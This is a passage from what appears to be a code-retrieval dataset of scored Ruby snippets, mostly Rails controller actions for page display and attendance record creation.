Aquarium\"\n end\n end", "title": "" }, { "docid": "bc8b3f6464606ceb31705090bc07a24c", "score": "0.5650803", "text": "def add\n if page.url && !Ink.config['docs_mode']\n Ink.site.pages << page unless Helpers::Path.find_page(page)\n end\n end", "title": "" }, { "docid": "ac754699695858364c99f297b93574ac", "score": "0.5621908", "text": "def header(in_page=\"\")\n\t # workaround to shoes/shoes4#1212:\n\t $clicky ||= []\n\t $clicky.each{ |i| i.hide }\n\t $clicky = []\n\t \n\t # Header\n\t self.scroll_top = 0\n\t background pattern(img_path \"bg1.png\")\n\t stack do\n\t background enve_blue(0.4)\n\t stack{ background rgb(0,0,0,1.0) } # workaround to shoes/shoes4#1190\n\t flow(width:1.0) do\n\t stack(width:40){}\n\t menu = [\n\t\t [\"Home\",\"/\",\"noun_208357_cc.png\"],\n\t\t [\"All tasks\",\"/index\",\"noun_208394_cc.png\"],\n\t\t [\"Examples\",\"/examples\",\"noun_229087_cc.png\"],\n\t\t [\"Update\",\"/update\",\"noun_229107_cc.png\"],\n\t\t [\"Website\",\"http://enve-omics.ce.gatech.edu/\",\n\t\t \"noun_208472_cc.png\"],\n\t\t [\"About\",\"/about\",\"noun_229118_cc.png\"]\n\t ]\n\t menu.each do |i|\n\t\t flow(width:60, height:65) do\n\t\t if i[1]==in_page\n\t\t\tbackground enve_blue(0.4)\n\t\t\tstack{ background rgb(0,0,0,1.0) } # shoes/shoes4#1190\n\t\t end\n\t\t stack(width:5, height:50){}\n\t\t stack(width:50) do\n\t\t\timage img_path((i[1]==in_page ? \"w-\" : \"\")+i[2]),\n\t\t\t width:50, height:50, margin:2\n\t\t\tinscription i[0], align:\"center\",\n\t\t\t size:(linux? ? 8 : 10),\n\t\t\t stroke: (i[1]==in_page ? white : black)\n\t\t end\n\t\t stack(width:5){}\n\t\t end.click{ (i[1]=~/^https?:/) ? open_url(i[1]) : visit(i[1]) }\n\t\t stack(width:5){}\n\t end\n\t end\n\t stack(height:5, width:1.0){}\n\t stack(height:2, width:1.0) { background black }\n\t end\n\t stack(height:20, width:1.0){}\n end", "title": "" }, { "docid": "eac69cf6d3c5d9d6087780d92323fb95", "score": "0.56074685", "text": "def import_page\n end", "title": "" }, { "docid": "8dba70707accf8af2cb4fcd265f9ed46", "score": "0.5605762", "text": "def show\n @page_title = \"Our lessons\"\n end", "title": "" }, { "docid": "78b406c605c70c1255dab83f5dd42900", "score": "0.5604456", "text": "def turn_page\n puts \"Flipping the page...wow, you read fast!\"\nend", "title": "" }, { "docid": "78b406c605c70c1255dab83f5dd42900", "score": "0.5604456", "text": "def turn_page\n puts \"Flipping the page...wow, you read fast!\"\nend", "title": "" }, { "docid": "78b406c605c70c1255dab83f5dd42900", "score": "0.5604456", "text": "def turn_page\n puts \"Flipping the page...wow, you read fast!\"\nend", "title": "" }, { "docid": "78b406c605c70c1255dab83f5dd42900", "score": "0.5604456", "text": "def turn_page\n puts \"Flipping the page...wow, you read fast!\"\nend", "title": "" }, { "docid": "8a1ae2c31de1b84a873860074ed9e7a9", "score": "0.5592973", "text": "def render_show_page\n render_buffer current_theme.questions_show_html.read\n end", "title": "" }, { "docid": "0e6fcc7c5328292277854e2d2fddea56", "score": "0.558907", "text": "def about\n \n end", "title": "" }, { "docid": "0bb24b84c70f057a7a82710c7ea048c6", "score": "0.5578606", "text": "def get_started\n \t@title= \"Antes de empezar...\" #Page title\n end", "title": "" }, { "docid": "f30063e361de153d694351cc900c1299", "score": "0.5574603", "text": "def index\n @urls = ['index', 'fade_replace', 'simple_blind_ror', 'javascript']\n @descriptions = {'index' => \"listing of all demos/methods. This page\",\n \n 'fade_replace' => \"link triggers central page replacement. This will be used in the final project. Uses ror/rjs\",\n 'simple_blind_ror' => \"simplistic scriptaculous effects using ror. demo only.\",\n 'javascript' => \"uses javascript directly. demo only. straight from Scriptaculous site.\"\n }\n end", "title": "" }, { "docid": "c15f11d301757745efe084e6f9424f3a", "score": "0.5571772", "text": "def show\n @title = @page.title\n @pages = @page.find_related_tags\n @case_studies = CaseStudy.tagged_with(@page.tag_list, :any => true)\n @locked = REDIS.exists(\"locks:pages:#{@page.id}\")\n if params[:mercury_frame] == 'true' && !@locked\n REDIS.setex(\"locks:pages:#{@page.id}\", 300, @page.canonical_title)\n elsif params[:mercury_frame] == 'true'\n render(text: \"<html><body><script type='text/javascript' charset='utf-8'>window.parent.document.location.href = '#{page_path(@page)}';</script></body></html>\", content_type: :html) and return\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @page }\n end\n end", "title": "" }, { "docid": "c2ba090df0b182a1e3c922c3e2ede11d", "score": "0.55687314", "text": "def about; render; end", "title": "" }, { "docid": "70a3ede0aa0f419fe532dd8ef2a513e7", "score": "0.55634487", "text": "def open_pages\n make_calendars\n make_topics\n end", "title": "" }, { "docid": "8c2333741570879fb96cb6cb9c6f156c", "score": "0.5562141", "text": "def about\n # Static Page\n end", "title": "" }, { "docid": "9ef51256b764b9b9f207f7fd71558e3f", "score": "0.55456054", "text": "def about\r\n end", "title": "" }, { "docid": "6f5ad96a16721845c7d43b6126886367", "score": "0.5530732", "text": "def page_load; end", "title": "" }, { "docid": "bbc345a8b39f4dac3a2e155882d24e55", "score": "0.55303293", "text": "def tutorial\n puts\n rules\n deck = Visualized.new\n examples deck.base_deck\n bad_examples deck.base_deck\nend", "title": "" }, { "docid": "516266c6a71bf197b5836aa1ef74e924", "score": "0.55302906", "text": "def about; end", "title": "" }, { "docid": "516266c6a71bf197b5836aa1ef74e924", "score": "0.55302906", "text": "def about; end", "title": "" }, { "docid": "11dd42e2dc87721487c251525124c559", "score": "0.55142146", "text": "def next_page\n begin\n next_btn = @driver.find_element(link_text: 'NEXT CHAPTER')\n rescue\n @end_state = true\n end\n if not @end_state\n next_btn.click\n end\n @current_title = @driver.find_element(tag_name: 'h1').text #update title\n end", "title": "" }, { "docid": "605c2cde8af5ad4348d796e285901c6d", "score": "0.5499677", "text": "def initialize(page_drop); end", "title": "" }, { "docid": "9ec98d47e0e66af098d7bcf86634e401", "score": "0.5497922", "text": "def more_navigate\n page(FeedDetailsPage).await\n page(FooterTabBarPage).select_tab(\"More\")\n page(MorePage).seemenu\nend", "title": "" }, { "docid": "131c061190628f062095efdf7dae58b5", "score": "0.54946065", "text": "def page_view(title, page, utmhid = random_id)\n check_account_params\n hey(page_view_params(title, page, utmhid))\n end", "title": "" }, { "docid": "752a058a794c5e445c92ec64b208b57d", "score": "0.5492851", "text": "def load_chapter\n end", "title": "" }, { "docid": "e0ad292313521014cb551612b2393370", "score": "0.54866046", "text": "def show_previews\n session[:solution] == nil && generate\n load_sections(nil, true)\n end", "title": "" }, { "docid": "f04d90d92ed9d1ae043c723f2c4940f1", "score": "0.54863733", "text": "def home #display the home page of the candidate, has options to search\n end", "title": "" }, { "docid": "28ac7359d7e64ee7b7a76baf096dfd97", "score": "0.5485571", "text": "def page=(_arg0); end", "title": "" }, { "docid": "28ac7359d7e64ee7b7a76baf096dfd97", "score": "0.5485571", "text": "def page=(_arg0); end", "title": "" }, { "docid": "28ac7359d7e64ee7b7a76baf096dfd97", "score": "0.5485571", "text": "def page=(_arg0); end", "title": "" }, { "docid": "71e23f9382eb6e5ca75c11a19d0bb410", "score": "0.5481758", "text": "def home\n @events = Event.published.confirmed.ordered.tease\n @teaser = Teaser.current.limit(1).first\n @sponsors = Sponsor.order(\"position\").all\n @about = Content.find_by_id(6)\n @donate = Content.find_by_id(7)\n render :layout => \"homepage\"\n end", "title": "" }, { "docid": "848f144dfd86704b65e30c82d0950f11", "score": "0.5480102", "text": "def display_intro\n # Display Company Logo\n display_logo\n # Display Emergency Information\n display_emergency_info\n end", "title": "" }, { "docid": "e23eb0b410d4954bd37473984fb6c6f7", "score": "0.5477114", "text": "def learnmore \r\n\tcurrentpage = 0\r\n\tpage1 = \"\r\n╔═════════════════════════════════════════════════════════════════════════╗\r\n║ ║\r\n║ Habit Tracker is a program that helps people build habits. Habit ║ \r\n║formation is the process by which new behaviors become automatic. If you ║\r\n║instinctively reach for a cigarette the moment you wake up in the ║\r\n║morning, you have a habit. By the same token, if you feel inclined to ║\r\n║lace up your running shoes and hit the streets as soon as you get home, ║\r\n║you've acquired a habit. ║\r\n║ Old habits are hard to break and new habits are hard to form. That's ║\r\n║because the behavioral patterns we repeat most often are literally etched║\r\n║into our neural pathways. The good news is that, through repetition, it's║\r\n║possible to form—and maintain—new habits. ║\r\n║ ║\r\n║ 1. Back to menu 2. Keep reading ║\r\n║ ║\r\n╚═════════════════════════════════════════════════════════════════════════╝\"\r\n\tpage2 = \"\r\n╔═════════════════════════════════════════════════════════════════════════╗\r\n║ ║\r\n║Habit Tracker helps you to: ║\r\n║Commit for a Set Time – Some research says three to four weeks is all the║\r\n║time you need to make a habit automatic. If you can make it through the ║\r\n║initial conditioning phase, it becomes much easier to sustain. ║\r\n║ ║\r\n║Set Reminders – Consistency is critical if you want to make a habit ║\r\n║stick. If you want to start exercising, go to the gym every day for your ║\r\n║first thirty days. Going a couple times a week will make it harder to ║\r\n║form the habit. Activities you do once every few days are trickier to ║\r\n║lock in as habits. ║\r\n║ ║\r\n║ 1. Back to menu 2. Previous Page 3. Keep reading ║\r\n║ ║\r\n╚═════════════════════════════════════════════════════════════════════════╝\"\r\n\tpage3 = \"\r\n╔═════════════════════════════════════════════════════════════════════════╗\r\n║ ║\r\n║Habit Tracker helps you to: ║\r\n║Stay Consistent – The more consistent your habit the easier it will be to║\r\n║stick. If you want to start exercising, try going at the same time, to ║\r\n║the same place. When cues like time of day, place and circumstances are ║\r\n║the same in each case it is easier to stick. ║\r\n║ ║\r\n║Get a Buddy – Find someone who will go along with you and keep you ║\r\n║motivated if you feel like quitting. ║\r\n║ ║ \r\n║Make a Plan - Planing how you are going to make your behavior a lifestyle║ \r\n║will allow you to eliminate distractions and help you stick to your ║\r\n║commitments. ║\r\n║ ║\r\n║ 1. Back to menu 2. Previous Page ║\r\n║ ║\r\n╚═════════════════════════════════════════════════════════════════════════╝\"\r\n\tpages = [page1, page2, page3]\r\n\t\r\n\texitloop = false\r\n\tuntil exitloop\r\n\t\tputs pages[currentpage]\r\n\t\tinput = gets.chomp\r\n\t\tif input == \"1\"\r\n\t\t\texitloop = true\r\n\t\t\tintro()\t\t\r\n\t\telsif input == \"2\"\r\n\t\t\tif currentpage == 0\r\n\t\t\t\tcurrentpage += 1 \r\n\t\t\telse\r\n\t\t\t\tcurrentpage -= 1\r\n\t\t\tend \r\n\t\telsif input == \"3\"\r\n\t\t\tif currentpage == 1\r\n\t\t\t\tcurrentpage += 1 \r\n\t\t\telse\r\n\t\t\t\tputs \"Enter 1 to go to the main menu or 2 to continue reading about Habit Tracker.\"\r\n\t\t\tend\r\n\t\telse\r\n\t\t\tif currentpage == 0\r\n\t\t\t\tputs \"Enter 1 to go to the main menu or 2 to continue reading about Habit Tracker.\"\r\n\t\t\telsif currentpage == 1\r\n\t\t\t\tputs \"Enter 1 to go to the main menu, 2 to go to the previous page, or 3 to continue reading about Habit Tracker.\"\r\n\t\t\telsif currentpage == 2\r\n\t\t\t\tputs \"Enter 1 to go to the main menu or 2 to go to the previous page.\"\t\r\n\t\t\tend \t\t\t\t\t\r\n\t\tend\t\r\n\tend\t\r\nend", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "019751ea4a56f9e966733eff56719cf2", "score": "0.5476845", "text": "def about\n end", "title": "" }, { "docid": "3446312b2025a7699e3ba3b6cd39e09c", "score": "0.54755425", "text": "def show \n @branch = \"master\"\n @version = \"HEAD\"\n \n if @user && !params[:pub]\n @branch = @user.login\n end\n \n if params[:version]\n @version = params[:version]\n @lesson = Lesson.find(@branch, params[:id], params[:version])\n else\n @lesson = Lesson.find(@branch, params[:id])\n end\n \n if [email protected]? \n num = @lesson.cards.length\n #parse lesson.post and find and card identifiers [fc:x] where x is the array index\n @identifiers = num.times.map {|x| \"[fc:#{x}]\"}\n @cards = @lesson.cards.map do |card_id| \n #determine if there are any versions stored with these card_ids\n version = \"HEAD\"\n res = card_id.split(\":\")\n if res[1] \n version = res[0]\n card_id = res[1]\n end\n if params[:pub]\n Card.find(@branch, card_id, \"HEAD\", true)\n else\n Card.find(@branch, card_id)\n end\n end\n \n #each time an identifier is found pull that card object from the array and insert \n # the correct html for the card....\n #save this page to lesson post and the cards will render inline with the lesson\n @identifiers.each_with_index do |idf, ndx|\n @lesson.post.gsub!(idf, card_display(@cards[ndx]))\n end \n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lesson }\n end\n end", "title": "" }, { "docid": "d095e97e34884296a109d07d2de0ef24", "score": "0.547138", "text": "def turn_page\n puts \"Flipping the page...wow, you read fast!\"\n #define turn_page method that puts out a sentence \nend", "title": "" }, { "docid": "ea5a55de8e6dff4e456f253e02861ee6", "score": "0.5468547", "text": "def display_the_page\n @page.process(request, response)\n # Add backreference to body for returning to edit page\n @response = response\n \n @response.body += '<p><a href=\"' + url_for(\n :controller => 'admin/' + params[:action], \n :id => instance_variable_get(\"@#{params[:action]}\"),\n :action => 'edit'\n ) + '\">Back</a></p>'\n \n @response = nil\n\n # If this is true, Radiant will not use render more.\n @performed_render = true\n end", "title": "" }, { "docid": "226f55b9ec1e9f1693b064d23ba83d95", "score": "0.54552144", "text": "def start_new_chapter chapter\n start_new_page unless at_page_top?\n if @ppbook && verso_page? && !(chapter.option? 'nonfacing')\n update_colors # prevents Ghostscript from reporting a warning when running content is written to blank page\n start_new_page\n end\n end", "title": "" }, { "docid": "038679a1c67dd3064a822e28008376a6", "score": "0.5448587", "text": "def about\n\n end", "title": "" }, { "docid": "038679a1c67dd3064a822e28008376a6", "score": "0.5448587", "text": "def about\n\n end", "title": "" }, { "docid": "038679a1c67dd3064a822e28008376a6", "score": "0.5448587", "text": "def about\n\n end", "title": "" }, { "docid": "7ea97a65fb08600fcc88230e7ae3002f", "score": "0.5438035", "text": "def preview\n \n # @lg = PageTag::PageGenerator.previewer( @menu, @theme, {:resource=>(@resource.nil? ? nil:@resource),:controller=>self})\n # html = @lg.generate\n # css,js = @lg.generate_assets \n #insert css to html\n # style = %Q!<style type=\"text/css\">#{css}</style>!\n #editor_panel require @theme, @editors, @editor ...\n # html.insert(html.index(\"</head>\"),style)\n # html.insert(html.index(\"</body>\"),@editor_panel)\n # respond_to do |format|\n # format.html {render :text => html}\n # end\n \n end", "title": "" }, { "docid": "6d9fcf874d4aafe6ecfec8d2f23446ef", "score": "0.5437446", "text": "def set_page_keys\n @page_index = @vert_page_index = 0\n @item_pages = Bubs::InfoPages::ITEM_INFO_PAGES.clone\n @equipitem_pages = Bubs::InfoPages::EQUIP_INFO_PAGES.clone\n @item_pages.unshift(:ingredients)\n @equipitem_pages.unshift(:ingredients)\n refresh\n end", "title": "" }, { "docid": "f7c68948048612913c793765b01be554", "score": "0.54287213", "text": "def go_to page\n if page then\n display(*page)\n else\n Curses.flash\n end\n end", "title": "" }, { "docid": "b86fed64cbb1252b510cf19c5f800fb1", "score": "0.54245204", "text": "def default\r\n can_view, msg = dc_user_can_view(@parent, @page)\r\n return msg unless can_view\r\n\r\n html = \"<div class=\\\"#{@page.div_class} #{@opts[:div_class]}\\\">\"\r\n html << dc_page_edit_menu() if @opts[:edit_mode] > 1\r\n @parent.page_title = @page.title.blank? ? @page.subject : @page.title\r\n html << @page.body\r\n # render poll if defined\r\n if @page.dc_poll_id\r\n @opts.merge!(poll_id: @page.dc_poll_id, return_to: @parent.request.url, method: nil)\r\n comment = DcPollRenderer.new(@parent, @opts)\r\n html << \"<div class='wrap row'>#{comment.render_html}</div>\"\r\n @css << \"\\n#{comment.render_css}\"\r\n end\r\n # also add iframe\r\n html << iframe() << '</div>'\r\nend", "title": "" }, { "docid": "37e539e59f330ba357d190870c6c4a45", "score": "0.5423196", "text": "def display_the_page\n @page.process(request, response)\n # Add backreference to body for returning to edit page\n @response = response\n \n @response.body += '<p><a href=\"' + url_for(\n :controller => 'admin/' + CGI.escapeHTML(params[:action].pluralize), \n :id => params[:id].to_i,\n :action => 'edit'\n ) + '\">Back</a></p>'\n \n @response = nil\n\n # If this is true, Radiant will not use render more.\n @performed_render = true\n end", "title": "" } ]
902f0ec26bb7d3937a1a97c8bbb557c5
POST /attendances POST /attendances.json
[ { "docid": "7b657ad60804e0d0fe273fdc9805b77b", "score": "0.0", "text": "def create\n @attendance = Attendance.new(attendance_params)\n\n found_attendance = Attendance.all.where(day_type: @attendance.day_type, employee: @attendance.employee)\n if found_attendance.present?\n redirect_to new_attendance_path \n flash[:notice] = 'User already has attendance'\n else\n respond_to do |format|\n if @attendance.save\n format.html { redirect_to @attendance, notice: 'Attendance was successfully created.' }\n format.json { render :show, status: :created, location: @attendance }\n else\n format.html { render :new }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end \n end\n\n \n end", "title": "" } ]
[ { "docid": "cc6e7e7cf7b591018e9dac4d99387d68", "score": "0.77696353", "text": "def create\n\t\t@attendance = Attendance.new(attendance_params)\n\t\tif @attendance.save\n\t\t\trender json: @attendance, status: :created\n\t\telse\n\t\t\t render json: @attendance.errors, status: :unprocessable_entity\n\t\tend \n\tend", "title": "" }, { "docid": "a49a84dacb2014aaaf19d89a34ca2520", "score": "0.77493376", "text": "def create\n @attendance = Attendance.new(params[:attendance])\n @users = User.all\n respond_to do |format|\n if @attendance.save\n format.html { redirect_to @attendance, notice: 'Attendance was successfully created.' }\n format.json { render json: @attendance, status: :created, location: @attendance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d2d2ff3475cc891d3284a7b513386b26", "score": "0.75868183", "text": "def create\n @attendance = Attendance.new(params[:attendance])\n\n respond_to do |format|\n if @attendance.save\n format.html { render plain: \"Attendance was successfully created.\" }\n format.json { render json: @attendance, status: :created, location: @attendance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f48ee9f73467945fd440036393069d6a", "score": "0.7495492", "text": "def create\n @attendance = Attendance.new(attendance_params)\n\n respond_to do |format|\n if @attendance.save\n format.html { redirect_to @attendance, notice: 'Attendance was successfully created.' }\n format.json { render :show, status: :created, location: @attendance }\n else\n format.html { render :new }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "212da85639d9a7d9ba3d35c3f1058347", "score": "0.74232906", "text": "def create\n @attendance = Attendance.new(attendance_params)\n\n respond_to do |format|\n if @attendance.save\n format.html { redirect_to @attendance, notice: 'Attendance was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attendance }\n else\n format.html { render action: 'new' }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81d00369d0abdc6085b7e75bbbe7d6b3", "score": "0.72957844", "text": "def create\n @event_attendance = current_user.event_attendances.new(event_attendance_params)\n\n respond_to do |format|\n if @event_attendance.save\n format.html { redirect_back fallback_location: root_path }\n format.json { render :show, status: :created, location: @event_attendance }\n else\n format.html { redirect_back fallback_location: root_path }\n format.json { render json: @event_attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fdf449fe9dd58b22b90d6d52465fa24a", "score": "0.7193177", "text": "def create\n @event = Event.new(event_params)\n @event.user_id = current_user.id\n\n @attendances = Attendance.where(:event_id => @event.id)\n\n respond_to do |format|\n if @event.save\n format.html { attend }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2b1b5c5d12681739cf7c7a6519d862eb", "score": "0.7132939", "text": "def create\n @event_attendance = current_user.event_attendances.build(event_attendance_params)\n respond_to do |format|\n if @event_attendance.save\n format.html { redirect_to root_path, notice: 'You will attend this event' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render root_path, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "23c62106ad006b65b96adc0279169ef4", "score": "0.712441", "text": "def create\n\t\t@attendance = Attendance.new(attendance_params)\n\tend", "title": "" }, { "docid": "335a08d80f03e0a785d10a0648c9be1a", "score": "0.70972294", "text": "def create\n @student_attendance = StudentAttendance.new(student_attendance_params)\n\n respond_to do |format|\n if @student_attendance.save\n format.html { redirect_to @student_attendance, notice: 'Student attendance was successfully created.' }\n format.json { render :show, status: :created, location: @student_attendance }\n else\n format.html { render :new }\n format.json { render json: @student_attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "335a08d80f03e0a785d10a0648c9be1a", "score": "0.70972294", "text": "def create\n @student_attendance = StudentAttendance.new(student_attendance_params)\n\n respond_to do |format|\n if @student_attendance.save\n format.html { redirect_to @student_attendance, notice: 'Student attendance was successfully created.' }\n format.json { render :show, status: :created, location: @student_attendance }\n else\n format.html { render :new }\n format.json { render json: @student_attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d4b058f305b29e20943ccc1ef0f81de4", "score": "0.70650077", "text": "def create\n @teacher_attendance = TeacherAttendance.new(teacher_attendance_params)\n\n respond_to do |format|\n if @teacher_attendance.save\n format.html { redirect_to @teacher_attendance, notice: 'Teacher attendance was successfully created.' }\n format.json { render :show, status: :created, location: @teacher_attendance }\n else\n format.html { render :new }\n format.json { render json: @teacher_attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0e473af08a0e351360c1722a9c688f6", "score": "0.704644", "text": "def create\n @admin_attendance = Admin::Attendance.new(admin_attendance_params)\n\n respond_to do |format|\n if @admin_attendance.save\n format.html { redirect_to @admin_attendance, notice: 'Attendance was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admin_attendance }\n else\n format.html { render action: 'new' }\n format.json { render json: @admin_attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "710f293eba96e5d06cde99a5fa8224ed", "score": "0.70304054", "text": "def create\n @daily_attendance = DailyAttendance.new(daily_attendance_params)\n respond_to do |format|\n if @daily_attendance.save\n format.html { redirect_to @daily_attendance, notice: 'Daily attendance was successfully created.' }\n format.json { render :show, status: :created, location: @daily_attendance }\n else\n format.html { render :new }\n format.json { render json: @daily_attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f2309d69472a8db70c5b4422dc776da", "score": "0.70159966", "text": "def create\n @attendance = Attendance.new(attendance_params)\n\n respond_to do |format|\n if @attendance.save\n format.html { redirect_to new_attendance_path(work_date: @attendance.work_date), notice: 'Attendance was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attendance }\n else\n format.html { render action: 'new' }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aef4a6ea4ec694c8f0da2ba5df10bd5b", "score": "0.701126", "text": "def create\n @check_attendance = CheckAttendance.new(check_attendance_params)\n\n respond_to do |format|\n if @check_attendance.save\n format.html { redirect_to @check_attendance, notice: 'Attendance was successfully created.' }\n format.json { render :show, status: :created, location: @check_attendance }\n else\n format.html { render :new }\n format.json { render json: @check_attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39e1fc235889e6e6c116da9deb320964", "score": "0.7008742", "text": "def create\n @employee_attendance = EmployeeAttendance.new(employee_attendance_params)\n respond_to do |format|\n if @employee_attendance.save\n format.html { redirect_to @employee_attendance, notice: 'Employee attendance was successfully created.' }\n format.json { render :show, status: :created, location: @employee_attendance }\n else\n format.html { render :new }\n format.json { render json: @employee_attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "493bc1894bb343812f30a17b17d08b6e", "score": "0.69868684", "text": "def create\n @attendance = Attendance.new(params[:attendance])\n\n respond_to do |format|\n if @attendance.save\n RsvpNotifier.created(@attendance).deliver\n format.html { redirect_to @attendance, :notice => 'RSVP was successfully created.' }\n format.json { render :json => @attendance, :status => :created, :location => @attendance }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @attendance.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c9b9d2f83c2bfc15cbecc537f4d6cb4d", "score": "0.6983313", "text": "def attendances_params\n params.require(:attendance).permit(:user_id, :event_id)\n end", "title": "" }, { "docid": "96c8830c6045897acca7a0ec978fb0bf", "score": "0.69644123", "text": "def create\n @attendance_entry = AttendanceEntry.new(params[:attendance_entry])\n\n respond_to do |format|\n if @attendance_entry.save\n format.html { redirect_to @attendance_entry, notice: 'Attendance entry was successfully created.' }\n format.json { render json: @attendance_entry, status: :created, location: @attendance_entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendance_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0910917ac6433583d706d82c356f6be3", "score": "0.6958709", "text": "def create\n @event = Event.new(params[:event])\n @event.generate_attendance_list\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: t('event_successfully_created') }\n format.json { render json: @event, status: :created, location: @event }\n else\n flash[:error] = @event.errors.full_messages\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a773f806673f3ce7923ef6e81a2ff287", "score": "0.69563544", "text": "def create\n @attendance = Attendance.new(attendance_params)\n @attendance.user_id = @user.id\n respond_to do |format|\n if @attendance.save\n format.html { redirect_to @user, notice: 'Attendance was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n format.js { render :create_success}\n else\n flash[:alert] = \"Attendance wasn't created\"\n format.js {render :create_failure}\n end\n end\n end", "title": "" }, { "docid": "2b62ea7285c39bd9a9b666ec0db68e8a", "score": "0.6915073", "text": "def create\n @attendance_datum = AttendanceDatum.new(attendance_datum_params)\n\n respond_to do |format|\n if @attendance_datum.save\n format.html { redirect_to @attendance_datum, notice: 'Attendance datum was successfully created.' }\n format.json { render :show, status: :created, location: @attendance_datum }\n else\n format.html { render :new }\n format.json { render json: @attendance_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63cfa36667d689e975e167ba4dc28d03", "score": "0.6914305", "text": "def create\n @attendance_report = AttendanceReport.new(attendance_report_params)\n\n if @attendance_report.save\n render json: @attendance_report, status: :created, location: @attendance_report\n else\n render json: @attendance_report.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "85d2e1851d7cebce1ae23f534ad80887", "score": "0.68955", "text": "def create\n @class_attendance = ClassAttendance.new(class_attendance_params)\n\n respond_to do |format|\n if @class_attendance.save\n format.html { redirect_to @class_attendance, notice: 'Class attendance was successfully created.' }\n format.json { render :show, status: :created, location: @class_attendance }\n else\n format.html { render :new }\n format.json { render json: @class_attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b76ee0c6ebc498a0fb9801b2303922b", "score": "0.6848136", "text": "def create\n @attendance = Attendance.new(attendance_params)\n if @attendance.save\n flash[:notice] = 'Attendance was successfully created.'\n redirect_to :action => 'index'\n else\n render :action => 'new'\n end\n\n end", "title": "" }, { "docid": "d1eda74f2cf0b52761f290c4724774a8", "score": "0.68368447", "text": "def create\n @attendance = Attendance.new(params[:attendance])\n @attendance.user = current_user\n @attendance.days = @attendance.days.abs\n if @attendance.days != 0.5\n @attendance.end_date= @attendance.start_date + @attendance.days.days - 1.days\n else\n @attendance.end_date= @attendance.start_date + @attendance.days.days - @attendance.days.days\n end\n if(@attendance.approval_status)\n redirect_to \"/faultyaccess.html\"\n end\n\n respond_to do |format|\n if @attendance.save\n format.html { redirect_to :controller=> 'dashboard' }\n format.json { render json: @attendance, status: :created, location: @attendance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "532ec5a06565e8e7e129495c39b7b950", "score": 